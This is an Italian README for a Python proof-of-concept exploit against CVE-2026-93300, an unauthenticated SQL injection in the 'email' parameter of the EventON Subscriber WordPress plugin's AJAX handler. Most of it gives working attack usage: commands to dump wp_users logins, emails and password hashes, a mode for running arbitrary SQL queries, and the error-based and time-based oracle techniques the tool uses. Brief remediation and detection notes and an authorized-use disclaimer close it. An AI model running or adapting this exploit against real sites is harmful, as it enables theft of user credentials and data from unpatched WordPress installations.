
Proof-of-concept in Python per CVE-2026-93300, un'iniezione SQL non autenticata nel plugin WordPress EventON Subscriber; identifica l'handler AJAX ed estrae i dati del database tramite oracoli basati sul tempo.
Proof-of-concept in Python per CVE-2026-93300: SQL injection non autenticata tramite il parametro email nel plugin WordPress EventON - Subscriber (Wordfence, CVSS 7.5 Alto).
| CVE | CVE-2026-93300 |
| Plugin | EventON - Subscriber (eventon-subscriber) |
| Affected | tutte le versioni ≤ 1.4.5 |
| Fixed version | nessuna pubblicata (al 2026-10) |
| Vector | POST /wp-admin/admin-ajax.php, action=evosub_new_subscriber, param email |
| Auth | nessuna (non autenticata) |
| CWE | CWE-89 SQL Injection |
Il gestore AJAX del modulo di iscrizione (evosub_new_subscriber, registrato con wp_ajax_nopriv_, raggiungibile dal modulo pubblico front-end in assets/evosub_script.js) costruisce una query SQL esistente utilizzando il valore email fornito dall'utente senza $wpdb->prepare() / adeguata escape. Il valore raggiunge la query senza escape, quindi un attaccante può uscire dal literal stringa e aggiungere/modificare la query per leggere dati arbitrari dal database.
La regex email lato client in evosub_script.js è l'unico controllo di formato nel browser; non fornisce alcuna protezione lato server.
# 1. Detect only (fingerprint handler, find working injection oracle)
python3 cve_2026_93300.py --url https://target.example --mode check
# 2. Dump wp_users (login / email / password hash)
python3 cve_2026_93300.py --url https://target.example --mode users --prefix wp_
# 3. Extract any scalar query result
python3 cve_2026_93300.py --url https://target.example --mode sql \
--sql "SELECT option_value FROM wp_options WHERE option_name='admin_email'"
| Opzione | Predefinito | Descrizione |
|---|---|---|
--mode | check | check / users / sql |
--action | evosub_new_subscriber | azione AJAX da testare |
--param | email | parametro iniettato |
--prefix | wp_ | prefisso delle tabelle WordPress |
--sql | — | SELECT scalare per --mode sql |
--delay | 2.0 | secondi di SLEEP() per l'oracolo basato sul tempo |
--timeout | 25 | timeout HTTP |
--max-id | 15 | ID utente più alto da scansionare |
--proxy / --insecure / --ua | — | proxy HTTP / salta la verifica TLS / UA personalizzato |
action=evosub_new_subscriber con un'azione non registrata (0 / HTTP 400) per confermare che l'handler sia presente e attivo.', ", \) → se gli errori SQL vengono riflessi (WP_DEBUG), viene usato un oracolo error-based (il più veloce, una singola richiesta per bit);SLEEP() → oracolo union-time (una valutazione per sonda, nessun rallentamento per riga);;SELECT SLEEP(...)) → oracolo stacked-time se il driver consente multi-statements;OR/AND/paren/concat SLEEP) → oracolo template-time come fallback.1=1 → vero e 1=0 → falso (ripetutamente) prima che inizi l'estrazione, il che filtra i falsi positivi dovuti a target lenti/instabili.LENGTH() e ASCII(SUBSTRING(...)) (7 richieste per carattere).--mode check termina con un'estrazione di verifica di user_login@USER() per dimostrare l'accesso ai dati.
poc*@example.invalid nel post type evo-subscriber; sono visibili in Events → All Subscribers e possono essere spostate nel cestino.email lato server con un filtro rigoroso, tutte le sonde si comportano allo stesso modo e lo strumento segnala non vulnerabile / input validato.admin-ajax.php non funzionante (errore fatale sulla baseline) vengono segnalati come non sani e l'esecuzione viene interrotta.SELECT (contesto INSERT/UPDATE) vengono rilevate ma potrebbero non avere un oracolo temporale funzionante.--delay ≥ 1.0 sui target reali; ritardi molto piccoli producono falsi negativi su collegamenti ad alta latenza.email (e tutti gli input delle richieste) con $wpdb->prepare() / esc_sql(); valida con is_email() lato server.admin-ajax.php il cui valore email contiene metacaratteri SQL (', ", \, --, ;, UNION).Solo per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Sei responsabile del rispetto di tutte le leggi applicabili.